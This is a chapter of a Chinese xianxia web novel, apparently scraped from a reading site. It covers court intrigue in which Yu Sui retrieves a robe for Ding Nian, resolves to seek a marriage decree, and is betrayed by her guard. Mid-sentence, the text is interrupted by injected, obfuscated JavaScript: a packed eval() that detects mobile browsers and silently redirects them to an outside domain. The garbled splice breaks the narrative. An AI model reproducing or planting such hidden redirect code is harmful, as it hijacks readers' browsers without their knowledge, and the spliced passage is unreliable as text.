然后转身向容雅居的方向走去,她不喜欢太矫情,也不想借着一点感动的事情来要挟他的情感。 只有她记得,他曾为她付出的,是一切,他有的一切,包括生命。 隐珍阁中,“虞岁去哪了?” “回主子,郡主神色匆匆的去了药园。” “药园?一个人?初执呢?” “郡主独自进了药园,初执在外面守着。” “呆了多久?出来的时候有什么异样?” “约莫一盏茶的功夫,出来的时候,眼角泛红。” 宋玉诧异的回头看了鬼卫一样,笑了,像是听到了天大的笑话。 “有趣,咱们朝欢大陆出了名的凉薄郡主,竟然会落泪?本王一直以为她没有心呢。” “主子说的是,郡主素来冷情冷面,属下当时也以为看花了眼。” 宋玉知道,鬼卫不会看错,他们这批鬼卫,从小是经过严苛的筛选、魔鬼般的训练以及精心的培养,能以一敌十甚至敌百。 那么只有一种可能性,能让虞岁落泪的,只有那个孽种,丁年。 宋玉有些兴奋的用食指转了转拇指上的扳指,眼中闪烁着嗜血的光芒。 丁年,你终于来了,这条路,是你自己选的,可不要后悔。 “吩咐下去,盯死了容雅居,跟住虞岁,有什么风吹草动都不要错过。” “只是这里毕竟是修真大陆,虞郡主新识得的那个魏执予目前属下等还没有完全查透背景,她的护卫,也是不明来历,若是法术高深莫测,那主子您的谋划,恐怕……” 宋玉知道他的意思,这里不是朝欢大陆谈法色变,恰恰相反,这里以修仙为尊,崇尚仙法和幻术。 若真是魏执予出手干预,事情走向确实会变得棘手。 不过宋玉做事向来有两手准备,抱着最好的想法做最坏的打算。 来这里之前,皇叔父曾秘密召见过他,此行有两个目的,明面上是为了取走缂丝描花如意袍,将拟好的罪名加诸在丁年身上; 暗地里,是为了见一见魅族的族长。 当初丁年之所以能在丁家那场浩劫中幸存,并不是因为宋帝眷恋他的母亲。 帝王心术,连忠心耿耿扶持他的世家都会怀疑提防,觉得丁家功高震主,又怎会真的沉醉于儿女情长? 那一日丁家家破,悲极成寂的丁母装扮整齐,独自抱着尚在襁褓中的丁年去见宋帝,杀伐决断的宋帝,在见到丁母发间那只他送的并蒂簪时,有一瞬间的怔忪…… 就是那一瞬间的怔忪,让丁母有机会在他身上画下血咒。 以性命为引,以血拟咒,换一个丁年和宋帝生死共通的结果。 只要宋帝想活,他就不能让丁年死。 是以宋帝将丁年抚养成人,即使再厌恶再猜忌,也得留他性命。 所以这次让宋玉来修真大陆,也是希望能找到破解之法。 若可解,第一件事便是把丁年千刀万剐,方能平这些年愤懑之心。 最坏的打算,如果在缂丝描花如意袍上真的失算,也无妨。 起码在破解之法上,能顺利找到一些门路。 “放心,本王心中有数,你且去安排吧,今夜或者明日我也会去探探魏执予的底细,看看她对法术的掌控和法器的驱动到了一个怎样的层面。” 对于朝欢大陆的掌权者来说,法术和法器在百姓中必须扼杀,清肃; 但是到了掌权者手中却是利器,即使暗中利用,也是无往而不利。 这也是为什么当年丁母选择丁年的父亲而不是宋帝,给宋帝带来很大的心理阴影和不甘。 一个世家,竟然拥有魅族,凭这一条,便是藐视皇族。 卧榻之侧,岂容他人酣睡? 恐怕丁年的父亲到死也不会想通,为什么从小一起长大亲如手足的宋帝那般容不下他。 虞岁回到容雅居,魏执予兴致勃勃的拉着她,“来,今晚我们就依着你之前的法子去偷梁换柱。” 说着,她屏息凝神,默念咒语,双手开合间结了三段完整的印术。 紧接着神奇的一幕发生了,在虞岁眼前像画布一样上演的,是她和魏执予在灯下临窗对弈的景象。 灯花微爆的声音,棋子落盘的声音,衣香鬓影。 若不是亲眼所见,实在难以想象眼前的一幕是幻象。 “如何?” 虞岁不由得感慨的说:“还好你不是我的敌人。” “你满意就好,走吧,时辰差不多了。” “阿予,我们应该都把问题复杂化了”,虞岁仔细端详着水晶罩轻声说。 “怎么说?” “你有没有办法把这个罩子直接抬起来?这样就不用破坏外面这层结界了。” 魏执予想了想,从口袋里掏出一沓子符纸,悬空列阵围住水晶罩,起咒,不多时,水晶罩被抬起。 虞岁走过去轻轻的取出里面的如意袍,有种说不出的酸楚,这是丁年费尽心思想要得到的亡母遗物,是他的母亲留给他最后的念想,是他和亡母之间在这世上仅剩的羁绊。 浅浅的感叹过后,虞岁拿出早早准备好的同款式的袍服放进托盘。 又用包袱里的绢纸裹好如意袍,整齐的收好,放在包袱里。 魏执予在一旁看到她收拾好了一切,继续施法,将水晶罩里的普通袍服,变成如意袍的模样,又把水晶罩重新放回高台之上。 “阿予,多谢,若有来日,竭力以报。” “小事,你跟你的世子约好了么?” “嗯,明日他会来取。” 清晨的第一缕阳光洒进来的时候,虞岁便醒了,之前约好了拿到如意袍要以君子兰为号,她迫不及待的想分享给丁年。 魏执予有些睡眼惺忪的看向窗边的虞岁,阳光下的她,好像在发光,“怎么醒的这么早?” 虞岁闻声回头,浅笑嫣然的看着魏执予,她手边那盆盛放的君子兰带着露珠的朝气,清透欲滴。 她多数时候是不笑的,脸上淡淡的没有情绪起伏,此情此景,春光春色不及她言笑晏晏。 “吵到你了么?我同他约定好,他见到花,会在午时来取走如意袍。” “哦~”,魏执予的声音里有几分戏谑。 虞岁脸上出现一抹红晕,是罕见的小女儿娇态。 她款款走到魏执予身旁坐下,抚平衣摆,“阿予,还有一件事。” “嗯,你说” “出于对宋玉的了解,他应该还有后招,所以昨夜你下鸣金阁的时候,我已经让初执安排人去送信,能牵制住他的人,收到消息便会来。” 魏执予思忖片刻,“宋玉已经是仁亲王了,也算是一人之下万人之上,来人可是能压制住他?” 虞岁微微一笑,颇有些如数家珍的意味向魏执予介绍:“是宋帝最宠爱的无双公主,陆枝。” “陆枝?你们朝欢大陆的皇姓不是宋么?” 魏执予问完,看了眼虞岁,“若是有什么难言之隐、不便之处,可以不回答,换个话题” “没有什么不便之处,不过是整个禹都人尽皆知也却无人敢提的隐晦。” “皇室秘辛么?” “嗯,陆枝是宋玉同母异父的妹妹,之所以不姓陆,是因为随母姓。” “同母异父…宋玉的父亲是?” 虞岁叹了口气,沉声的开始讲述:“宋玉是宋帝的哥哥宋昙帝之子,他的哥哥骁勇善战、德才兼备、兼济天下,最后一次出征之前,当时的皇帝已经拟好禅位诏书,只等他班师回朝便可问鼎天下……沙场无眼,宋帝不放心哥哥,特意陪着一起去,鞍前马后的看顾…… 大获全胜之后,宋昙帝旧疾复发,死在了回归的途中,临终前把将要继承的王位连同家中娇妻和遗腹子一并托付给了宋帝,得知他的死讯,举国悲恸…… 宋帝继位后,追封哥哥为昙帝,车裂了为昙帝救治的御医……又大刀阔斧的改革制度,接了当时怀着宋玉的陆氏进宫为贵妃……生下宋玉几年后,又怀上陆枝, 最终贵妃被其他宫妃暗害,难产而亡……宫人们都说,陆贵妃死在了宋帝最爱她的时候,所以陆枝的封号为无双,示意所爱无双,且破天荒的可以随母姓……” 魏执予静静地听着,微微蹙眉问:“所爱无双?呵,昙帝么?昙花一现的昙?” 虞岁答道:“嗯,据说是根据五行选的谥字。” “这么看的话,这个昙帝倒真是昙花一样的命格,只是这中间未免太多巧合了吧?偏偏在宋帝一同出征的一次有去无回,偏生在得胜还朝的途中旧疾复发…” “是了,当所有的巧合都凑在一起,就不是巧合了。宋帝的心思最是深沉阴狠,看他对丁家的所作所为就能略知一二。” “最是无情帝王心。” “我们这位宋帝可不单单是无情这么简单。” “对了,你可有封号?” “我们几个世家的女儿都有封号,我的是柔,因为有些拗口,所以除非宫宴参拜等一些正式的场合,大家还是称我为虞郡主。” 魏执予听的觉得细思极恐,“宋帝是懂内涵的,每个封号背后的深意都不能细究,英年早逝故此取个昙花一现的昙;宋玉不仁却是仁亲王;高冷矜贵如你,却给个柔字封号……有趣的紧。” 虞岁素来话少,但是基于宋帝对丁年家的种种作为积怨已久,评价自然也毫不客气,“阿予,有机会你去到朝欢大陆一见便知,宋帝最是嘴甜心苦,典型的长得丑想的美玩的花。” 魏执予忍俊不禁,“六道学堂的地势险要,沿途设有结界路障,此行应是波折,怎么你刚说她不日便会抵达?” “朝欢大陆的皇宫中有条秘道直通六道学堂,且陆枝是皇室中仅有的初阶驭灵师,慢的话明日,快的话今日她便能到,如果我没猜错的话,应该是柳世子或者我弟弟与她一同来这。” “你弟弟?也如你一般冷心冷面么?” 提到弟弟,虞岁的神色舒缓,声音中也多了一缕温度:“他叫虞舜,在我们朝欢大陆,他是惊才艳绝的存在,客观来讲,他看起来比我好相处,有些痞气,实则他城府极深,很是腹黑。” 魏执予莞尔,“高门显贵的世家,本就不会有等闲之辈,若是心无城府、胸无大志、腹无点墨,何以立足?” “阿予,你这番话说的像极了我弟弟的口吻。” “听你说过丁世子,现在又要来个柳世子或者你弟弟,朝欢大陆的世家怕是凑齐了吧?” “还有一个楚家,曾经的四大世家以丁家为首,依次是丁柳楚虞,宋帝多疑善妒毁了丁家满门,任由其他世家瓜分了丁家的全部势力……如今柳家主要从商;楚家掌握着御用侍卫和守备军; 而我们虞家作为毫无根基全凭宋帝提携的存在,所有行当均有涉足,父亲手中兵马众多,弟弟虞舜手下培养着一众刺客暗卫,专为宋帝排除异己……” 虞岁说完,顿了片刻,微微转头看了看魏执予若有所思的神情,接着说道:“阿予,若有一日你去到禹都,需要我施以援手,我会不遗余力的帮你,我有这个能力,你千万不要客气。” 魏执予笑笑,“我把你当自己人,自然不会客气,现在看来,是你比较客气,有些话,你没有说。” 虞岁叹了口气,“与其他底蕴深厚、叶大根粗、根基牢固的世家大族相比,我们虞家是宋帝一手培养提携出来的,看似风光无限,实则烈火油烹, 朝欢大陆的帝制是十年一更换,不会一脉相承太久,若帝有子,内阁会考验帝子,若帝无子,则会从世家中选贤任能,而宋帝,只有陆枝一个公主,这就意味着,宋玉以及其他世家大族都有机会, 换届时对于我弟弟会有三个结果,要么宋帝会从他和宋玉之中选一个好掌控的傀儡接任,要么宋帝敢冒天下之大不韪连任,要么虞舜脱离开宋帝的桎梏实权在握……” 魏执予听到这里,有些懂了,虞岁想交换的,没有说出口的是想知道自己能为她做到哪步,是一个保障?一个承诺?一个危急关头的保命符?还是逼不得已时候的豁得出去? 想明白其中关窍,她认真的问她:“你在试探么?不必如此,你想要什么?” “坦白说,我想要的太多了,我想要父亲和弟弟的安稳,我也向往权利顶峰,我还想要禹都那片天再也遮不住丁年的眼,人言权势再也盖不住他的心, 试问谁能不迷恋权势呢?可我父亲,他忠的不是宋帝,他忠的是朝欢大陆的子民,他兢兢业业所图的不过是朝欢大陆成为一片乐土, 非到绝境,他断不会主动出击涂炭生灵,可若是一味的隐忍、坐以待毙,按照我刚刚假设的三条路,若真到了那天,宋帝必会用雷霆手段颠覆我们虞家。” 你看,王权,也是亡权;皇权,亦是黄泉。 魏执予若有所思,她看着阳光透过窗棂洒下的光圈出神,她所在的修真大陆不比虞岁的朝欢大陆有那么多弯弯绕绕… 修真大陆以强者为尊,拜高踩低都是直来直去的,少见勾心斗角尔虞我诈,若连心思手段都摆在明面的时候,倒敬小人几分坦诚; 但是朝欢大陆,朝堂暗涌深藏,极善玩弄权谋。 而人心,往往是最凶险的。 帝王心术,最是诡谲无情,他能栽培出一个虞家,便能有第二个虞家,一切取舍全在上位者一念之间。 “放心,我当竭力助你。” “阿姐”,干净的声线透着阳光的味道从院中传来。 来人是一个身着青色袍服的少年,素到极致的袍服,妖娆尽致的脸,却不突兀,愈发显得他一副翩翩浊世佳公子的风姿。 他笑吟吟的,好似乘风逐日而来; 像蓬勃春日里肆意生长的翠竹,带着云层的飘逸和春风的和煦。 比竹秀,比云悠,比翠竹挺拔。 意气风发少年游,挽风赏遍千山秋。 看见来人,虞岁眼前一亮,迎了过去,“阿舜”,语气中满是惊喜和雀跃。 “岁岁!”,还没看清来人是谁,只看到一道丁香色的身影扑到虞岁身上。 “陆枝,你们来的好快。” 几人含笑寒暄过后,宋玉走了过来… 虞舜拱了拱手说道:“仁亲王安好。” “虞世子别来无恙”,宋玉表现的彬彬有礼,热络的打着招呼,然后看向陆枝…… 接着抛出了一连串的问题:“枝枝,你也来了…一路上还好么?瞧着你清瘦了不少,可是有什么烦心事?皇叔他…可好?” 宋玉在对陆枝说这话的时候,眼底蕴藏的是与旁人打交道时不曾有过的温情和小心翼翼。 那种温度让他整个人仿佛鲜活起来,不再那么假模假样。 陆枝娇妍的脸上浅笑嫣嫣,脸颊的梨涡灵动不已,她开口接话,声音娇滴滴的:“玉哥哥,你一下子问这么多问题,我要回答哪个才是?都好~路上也好,我也好,父皇也好~” 宋玉笑了,是真的笑了,开怀的笑了。 不得不承认,朝欢大陆的世家女子迷恋他、不无道理。 临风观竹,雨过窥虹。 虞岁拉了拉陆枝的衣袖,轻声说道:“陆枝,这一路上辛苦了,叙旧的话别站在这里了,不如去容雅居,我为你们沏一壶新茶,坐在一起慢慢聊。” 说话间虞岁在宋玉看不到的角度、使了个眼神给陆枝,瞥了瞥宋玉,眨了眨眼… 到底是相识多年的默契,接收到虞岁的信号,再细想她为什么这个档口传消息给自己让自己来这…… 陆枝瞬间明白了虞岁的用意,她想让自己绊住宋玉。 “我想先去玉哥哥的住处转转,正好也有些悄悄话想说给他…你和虞世子先回住处等我吧…”,说着,又看了一眼宋玉:“玉哥哥,这样可好?” 宋玉乐呵呵的说:“依你。” “如此,就有劳玉哥哥带路了”,陆枝说着,一本正经又有些俏皮的福了福身。 宋玉看向她的目光里有些宠溺,转身率先走出院子。 待二人走远,魏执予有些佩服虞岁了,“果然还是要用魔法打败魔法,这位无双公主,看着一派天真烂漫的样子,甚是讨喜,倒是挺有一套的,” 虞舜听了她的评价,轻咳了一声,满脸写着‘你别被她骗了’,顺势接话:“她?天真烂漫?呵呵呵…” 虞岁嗔怪似的看了他一眼,转头对魏执予说:“陆枝算是少见的将扮猪吃老虎一词表现的淋漓尽致的人,其实心思玲珑着呢。” 魏执予了然,也对,生在皇室,且又有那样的曲折身世,哪里会是心无城府的? 不过都是炉火纯青的保护色和面具罢了,这样看来,这位无双公主,也是一个妙人呢。 “你们姐弟两个先叙旧,我要去一趟鸣金阁”,魏执予接到护卫递回来的信息,转身走出容雅居。 虞岁给虞舜倒了一杯茶,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033542|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初执说:“守好门,除了阿予和丁世子,不要放任何人进来,也不要让任何可疑的人靠近。” 初执听后点头,转身走出房间,关好了门。 虞舜莞尔,调侃的语气中夹杂着一丝撒娇:“阿姐,你如今愈发的谨慎了。” 虞岁有些无奈:“你是不知,原先咱们在朝欢大陆、需要提防的都是各路暗卫;如今在修真大陆,不仅要小心暗卫,对一些精怪和符术也要防范。” 见她说的认真,虞舜也正经起来:“阿姐说的是,小心驶得万年船” “我不在的这几天,其他世家可有异动?” “都是些小打小闹的,上不得台面。” “那…上面呢?” “宋帝近来,越发的平静,让人猜不透他的心思,父亲说,现在正是他应该收揽民心、韬光养晦的时候,很多事情断不会轻易出手,能借刀杀人的就不会出自己的刀。” “宋帝的花花肠子最多,尤其擅长以小博大、四两拨千斤…父亲可还好?旧疾可有缓解?” “几天前下了一趟黑牢,淌了一趟浑水,受了风,有些不妥…好在残垣公子正好在禹都,已经瞧过了,没什么大碍,照着方子喝几贴药调理调理就好了。” 虞岁在听到他说黑牢的时候,皱了皱眉,那是朝欢大陆最阴暗最肮脏的所在,所有见不得光的事情都流传在那里……丁年也曾在那里…… 但是没办法,虞家受人制肘,很多事情都身不由己。 “阿舜,你还好么?” 虞舜愣了愣,他明白姐姐问的是什么,她想他平安喜乐,他也是这样想的。 “阿姐,你是知道的,我只是个纨绔子弟,没什么好不好的,我只关心哪家的脂粉最迷人…倒是你,见到丁年那小子了么?咱们家,如果只能有一个由着自己性子的,我希望是你。” 虞岁听了这话顿觉五味杂陈,一字一顿的说:“姐姐希望你活得坦荡,随心,开怀” “阿姐,我是虞家人,享受优渥待遇的同时,也要承担该担负的。” “郡主,丁世子来了”,门外传来初执的声音。 听到丁年来此,虞舜有些惊讶。 不过看虞岁的脸上并没有跟他一样讶异的神色,便了然,有些打趣的问:“阿姐这是知道他会来么?” 虞岁点点头,指了指窗边的君子兰说:“是我让他来的。” 说完,走到门口打开了门,不动声色的打量着门口的丁年。 他似乎有些憔悴,从前他总是意气风发,现如今却带着满身霜华。 明珠蒙尘,利剑隐于鞘,不外如是。 他眸色深深,看不清悲喜,猜不透心绪。 虞岁侧了侧身,把他让进屋里,初执从外面关好了门。 “丁世子别来无恙”,虞舜先一步站起身寒暄。 丁年在面对虞岁两姐弟的时候,周身的气场变得柔和,像是敛了刺的刺猬、收了利爪的豹。 “阿舜,你几时变得如此客气?”,丁年有些无奈,但凡虞舜对他礼遇有加,多半是存了一些别的心思,调侃打趣尚且还好,就怕他挖了个什么坑给自己跳。 在他遇到的所有人中,若论暗戳戳挖坑且不被人察觉的,虞舜称第二,那没人能称得上第一。 虞舜笑了,笑的灿烂无辜,“阿年,你也太不讲义气了,若不是我阿姐火急火燎的说要来找你,我竟不知你孤身一人从朝欢大陆来到这修真大陆。” 听他说火急火燎四个字,虞岁失笑,嗔怪似的瞥了他一眼,走到里间去取缂丝描花如意袍。 丁年一撩衣袍坐下,“不是我不讲义气,是不想让你牵涉其中。” 虞舜偏头看了看里间忙碌着的虞岁的身影,转过头郑重的问道:“这次能干净利落的脱身么?” 丁年的手指轻轻扣了扣桌面,略加思索后说:“宋帝绕这么大弯子,无非是想寻个由头治我的罪,这一件事我能躲得过去,另一件事却不好脱手……” 鲜少听到他这么说,虞舜有些好奇:“何事惆怅?很棘手么?” 丁年声音冷淡的开口说道:“宫里的探子来报说,楚贵妃撺掇宋帝意欲为陆枝和我指婚…” “什么?!”,虞舜倒茶的手顿了顿,茶水溅到桌面珍贵的缎子上,晕出一块水渍光圈… 虞舜将茶壶重重的放下,冷笑着说:“他疯了不成?呵…楚家真是打的一手好算盘,算盘珠子都崩我脸上了!那柳岸蒲对陆枝的心思人尽皆知,他放着偌大的家业不继承,偏要去公主殿做个护卫……如果此事当真,你若应了这婚事,柳家不会对宋帝怎么样,柳岸蒲必倾柳家举家之力针对你!丁家旧部也不会对你袖手旁观,届时丁柳两家必定交恶,无论是哪一方受损,对宋帝和楚家来说都是乐见其成。” 丁年长叹一口气,“是啊,不费一兵一卒,仅仅是坐山观虎斗就能收渔翁之利。” 虞舜气的直咬后槽牙,“我阿姐知道这件事么?” “还不曾与她说,也没什么必要,毕竟,我对陆枝,从来没有动过心思。” “对陆枝不曾,那楚溶溶呢?季烟芜呢?我阿姐呢?” “楚溶溶,陆枝和季烟芜,在我这是一样的,半分缱绻的心思都不曾有过。” 虞舜见丁年解释了陆枝,解释了楚溶溶,解释了季烟芜,却半点不提姐姐虞岁,也明白几分。 他也是男子,他多少能懂丁年的心境,丁家遭逢巨变,从小受尽冷眼,处处碰壁…好不容易熬到成年,还是要时时小心明枪,处处防范暗箭。 老天似乎从不肯放过丁年,对他何其残忍? 在最没有能力的年纪遇到最想要保护的人,不是幸运,更多的是无力。 虞岁之于丁年,是明月,是光芒,是只可远观却不能揽于怀的存在。 虞舜也叹了一口气,“阿年,我阿姐对你的偏爱,似乎是毫无来由的,却又有迹可循,连我都嫉妒,我自私的希望你不要辜负她。” 虞岁收拾好东西出来,正听到虞舜这句话,她感动于弟弟的话,却又不想听丁年似是而非的回答。 她对丁年的感情,是旁人理解不了的,她私以为,这是她欠他的,上本书或者说上辈子他对她飞蛾扑火般不求回应的付出,现在,换她来回应他了。 不想气氛因这一句话变僵,也不想丁年尴尬,她款款走过去,将手中的如意袍放在桌上,“丁世子,这是你想要的。” 丁年看似平静的抚摸着如意袍,只有微微颤抖的手出卖了他此刻的情绪,片刻,他起身对着虞岁深施一礼:“郡主,多谢!” 虞岁扶了一下他的手臂:“世子,不必多礼” “阿年,自家人,别跟我阿姐客气了。” 待虞岁坐下,丁年为她倒了一杯茶,“郡主,我要回去了”。 虞岁愣了一瞬,“回…禹都么?” “嗯,我若是不回去,凌元军的处境会更加艰难”,丁年轻轻应声。 凌元军是丁家世代相传的护卫,若不是有历代帝王的特赦,只怕宋帝会让他们随着丁家一起倾覆。 即便如此,宋帝也一直没有停止打压、瓦解凌元军的心思。 宋帝是个里子面子都想要的人,既想要朝欢大陆的子民都觉得他仅仅是针对事、而非针对丁家,凌元军还存在就是最好的证明,证明他不是暴虐昏愦之辈; 私下里又难以容忍凌元军对他来说的三如——如鲠在喉、如芒在背、如坐针毡…… 虞岁心思百转,最后只说一句:“好,万事小心。” 虞舜在一旁看的是真着急啊,这两个人,都是城府颇深又不轻意示于人的性子,两个人凑不出一张嘴…… “阿姐,阿年方才说,宫中的探子打探出,宋帝有意为陆枝和他赐婚。” “哦?是么?”,虞岁看向丁年。 丁年被她看的有些慌,轻咳一声掩饰尴尬,“嗯,只是一个想法,还没过明路。” “那你想娶陆枝么?”,虞岁的语气中听不出情绪。 “当然不想”,丁年的声音有些急。 “那楚溶溶和季烟芜呢?” 丁年有些好笑,这两姐弟真是亲姐弟,问的问题好像共脑,“我对其他女子,半分心思都不曾有。” 虞舜见虞岁没有再说什么,追问道:“阿姐,你都没有什么想法么?” “想法?宋帝早晚会为他赐婚”,虞岁理智的可怕,甚至抬手为自己倒了一杯茶。 “那都是宋帝的想法,他什么意思你还品不出来么?分明是想借刀杀人。” 丁年很上道的顺着虞舜的话说:“不错,那都是宋帝的想法,不是我的想法,我从来无意于她们。” 虞岁这才看向虞舜说道:“宋帝的想法不会如愿的。” 虞舜傻愣愣的问:“为什么?” 虞岁没有回答他的话,又看向丁年:“你觉得我怎么样?” 丁年也愣了,但被她如水的眼眸注视着,那里面干净澄澈、只有他一个人的影子,他只听见自己的心声:“极好。” 虞岁就笑了,笑的风华绝代,偏头对虞舜说:“因为我,不会让宋帝如愿的,我会请旨赐婚。” 虞舜人都傻了,“阿姐,你认真的么?” 虞岁莞尔一笑,“当然,这是我一生一次的认真。” 丁年有些震惊的、定定的看着她,眼底的雾散去,像无波无澜的水面被风浪席卷,带着浓墨重彩的漩涡。 他想他这辈子都不会忘记此时此刻说这话的虞岁神采飞扬的样子,一生一次啊…… 良久,他缓缓的开口问道:“郡主可知嫁与我意味着什么?” 虞岁点点头:“再清楚不过了。” 她当然知道,她和他之间本是泾渭分明,沟壑纵横,且不说宋帝绝对不会容忍丁年有任何助力, 单说丁年如今的处境,虞岁嫁给他就等于把整个虞家放在宋帝的对立面。 虞舜几乎是一瞬间就明白了虞岁的苦心,“阿姐,你想让父亲退下来,对么?” 虞岁赞许的点点头:“阿舜,你长大了……没错,与其被宋帝猜忌,不如主动卸下一些担子……一来,宋帝就算是顾及面子也不会做的太过,二来,虞家和丁家的利益捆在一起,会把宋帝的计划打乱,他一时三刻倒不会有动作,三来…我是真的欢喜,这一点很重要。” 虞舜明白,姐姐的想法是对的,以她的身份,将来只有指给宋玉或者入宫这两条路,到时候虞家只会更被忌惮,倒不如以退为进,把姿态放到最低。 一个恋爱脑作天作地要死要活要嫁给丁年的郡主,和一个无条件甚至放弃所有权势都要女儿的奸臣,能成什么气候? “阿姐,宋帝未必会如你所愿的赐婚…我这次来之前,父亲已经接到他的口諭,召你回禹都。” “明日我们就动身回去,你放心,我一定会请下赐婚的旨意。” 见虞岁有些欲言又止,虞舜偏头问她: “阿姐,你可是还有其他打算?” “我总觉得宋玉此次来,不只是用如意袍设局这么简单,宋帝应该还有暗线任务交代给他,或许,可以成为我的筹码。” “所以呢?” “所以陆枝虽然是为我而来的,想来宋帝定是知道她离开朝欢大陆这件事的,可有什么诏諭?” 虞舜想了想说:“路上听她说过,宋帝想让她参加罗什门的门考,她不太想,若是听到你要走,估计也得跟回去……” 说着,他低头倒了盏茶,再抬头,在对上虞岁笑脸的一霎那,虞舜觉得浑身的汗毛都竖起来了。 熟悉的一幕幕像走马灯一样在他脑海中不停闪烁……他转身想走,虞岁连忙按住他…… “阿姐,你一这样笑,情况就不妙” “胡扯,阿姐对你不亲切么?这样的笑是怎样的笑?” “就……笑的善诱恂恂的……你这样我害怕……咱有事说事行么?” “你怕什么?阿姐还能吃了你?” 虞舜缩了缩脖子,心说你还不如吃了我,给个痛快的。 “六岁时,你把我最喜欢的蛐蛐扔到后厨余婆婆腌的酱菜坛子里,恰好被我吃到,又哭又吐了两天; 八岁时,你把爹爹送我的、全禹都独一无二的、鲁班术造的会飞的木马拆成一片一片的,你说你已经研究透彻构造能拼回去恢复原样,最后木马废了,我的心也碎了; 十岁时,你说隔壁柳岸蒲家院子里的葡萄树结出了番石榴,让我钻狗洞去摘,结果那狗洞后面装了倒钩,把我上嘴唇都刮豁了,流了满嘴满脸的血,你还不准我哭; 十二岁时,你说楚溶溶她哥偷了你的帕子,我追了他五条街,结果被他护短的爹告到家里,咱爹把我腿都打瘸了; 十三岁时,你说现在你和我应该自力更生,研究生财之道,花五百两银子雇人绑架我,讹了爹爹五千两金子,后来被爹爹发现吩咐家丁把我打得三天下不了床;还有十五岁那一年……” 丁年手握成拳,掩唇笑了,他很少笑,除非忍不住。 虞岁摆摆手,“很简单的事儿你扯那些陈谷子烂芝麻做什么?” “行吧,阿姐你说,让我上刀山还是下油锅。” “你只要说服陆枝不要跟我们一起回去,让她把宋玉也留下就好了。” “阿姐怎么不自己去?你跟她交情更深啊。” “我怕她藏不住话,你撺掇她留下,跟我撺掇她留下,传到宋玉耳朵里是两个意思。” 虞舜眼珠一转,“成,我去,我去,你们俩,在这收拾收拾。” 待他走后,虞岁笑着问丁年:“如何?我这个弟弟上道么?” “世子慧极,天色不早了,我也要走了。” “他走你也走,他慧不慧极显得没那么突出了。” “郡主,当真要嫁我?” “我几时同你说过假话?” 丁年从袖中取出一个小盒子,“这是两年前,你想要的那根琴弦。” “世子开窍了?这琴弦可不好寻。” 丁年舔了下嘴唇,“郡主想要,万难亦往。” 虞岁接过,“你可知这琴弦是何寓意?” “不知。” “你是月下一弯泉,也是我心上相思弦。” 相思入骨,我不入蛊谁入蛊? 是夜,魏执予听完,有些没看懂虞岁的路子,“你走请婚这步棋,你父亲会同意么?” 虞岁微微叹气,幽幽的说:“我父亲那个性子,愚忠的很…即使宋帝把刀架在他脖子上他都不会反,他对朝欢大陆那片土地爱的深沉……我会说服他,让他避一避锋芒…也会试着说服宋帝,把底牌掀开来让他看……当然,我也有私心,我想两全,保全丁年和虞家……最重要的是,我不想嫁给别人,也不能容忍丁年娶别人。” 魏执予看着她,半晌,有些困惑的说道:“有一个问题,我一直很好奇,初次见面的时候,你曾说过、你是为了一个放在心上很久很久的人,你对丁世子的感情似乎深到无法估量的地步,为什么?别跟我说什么情不知所起一往而深,我不太能理解。” 虞岁笑着,一边为她倒了一杯茶,一边说:“上次你说坦白局那时候我就准备告诉你的,后来被打断了…其实我来自另一本书,也可以理解为另一个世界。” 魏执予感觉一下子就来了精神,这是什么神奇的际遇,她抬手取下指间戒,默念咒语、轻车熟路的启动结界…… 示意虞岁可以开始了:“另一本书?一书一世界?来,讲出你的故事。” “在那里,我的身世比现如今的丁年还要凄凉,他是众星捧月般的存在……毫不夸张的说,我像是阴沟里令人作呕的蛆虫,他却是光芒万丈的暖阳,那种差距是填不平的沟壑、攀不上的山巅……对于我的境遇,所有人都冷眼旁观,只有他,温暖过我……这么说吧,他出现之前,我不相信有光…” “是救赎对么?” “没错,是救赎,我满身风雪的来到他身边,阴暗的期盼他能予我欢颜。” “那后来呢?” “后来,我的光灭了。他临终前安排好了我的一切,他说我是他生的希望,也是他死前最后的牵挂……只不过他还是不懂,他对我的意义…知道他怕黑,所以我便去陪他了……” 虞岁说完,一行清泪悄无声息的滑落。 魏执予听的感慨,又有些疑惑:“所以你为他殉情,又重生在这里?那你怎么确定他还是他呢?” 虞岁像是陷在回忆里,情绪低落,声音闷闷的:“最初醒来的时候,有一个声音告诉我,丁年用他这一世所有的幸运换一个我生的机会,他不会记得我,不会记得从前,但我会记得他……而且,我在他的书稿中看到了我曾经为他写的歌,我问过他,他说那是他脑海中挥之不去的字句……不会错的,那是属于我们之间独一无二的记忆。” “你这条路,会很难。” “我知道。” “你弟弟怎么说?” “我弟弟其实心思比我还深,宋帝起初也是十分不放心虞舜,或者说,不放心虞家,毕竟帝制是贤能者居之。 眼下他正值壮年,自然不能容忍虞舜有任何锋芒,但是考问过几次功课他是答的驴唇不对马嘴…… 问他边境要塞,他答红粉香窟; 问他官员调度,他说埋酒围炉; 问他政治心得,他对秦调清歌… 几番下来,也就暂时搁浅了心思。” “你弟弟也是个玲珑心肝的人,既然如此,我便跟你一同去见识见识你们禹都的人心险恶。” 隔天傍晚,准备妥当的虞岁和魏执予,在暗道门口与丁年和虞舜汇合。 进入暗道,突然而至身手诡谲的一队黑衣人打乱了她们的计划。 “阿姐,你从来没有怀疑过初执么?” 虞岁挽着魏执予手臂的那只手,不自觉的抖了抖,“初执,是你,对么?” 毕竟,她所有的计划只有初执最清楚,包括路线和时辰细节。 “是我”,初执也不隐瞒,反而一副如释重负的模样。 “为什么?我们自幼相识,你曾说即使一路尸山血海也要陪我走到最后,为什么?”,虞岁声音发颤的问她。 初执哀哀戚戚的笑了,“郡主,我本名叫楚执,楚溶溶那个楚。” 虞岁愣了一下,“所以,你要为了凭空出现在你生命中的楚家,背弃我?” 初执没有回答,反而问了她另一个问题:“郡主,你一定要向宋帝请婚,护住丁世子么?” “是。” “即便是阻力重重,几乎不可能完成也要去做么?” “是。” “这是你最想要的么?” “是。” “好,如你所愿。” 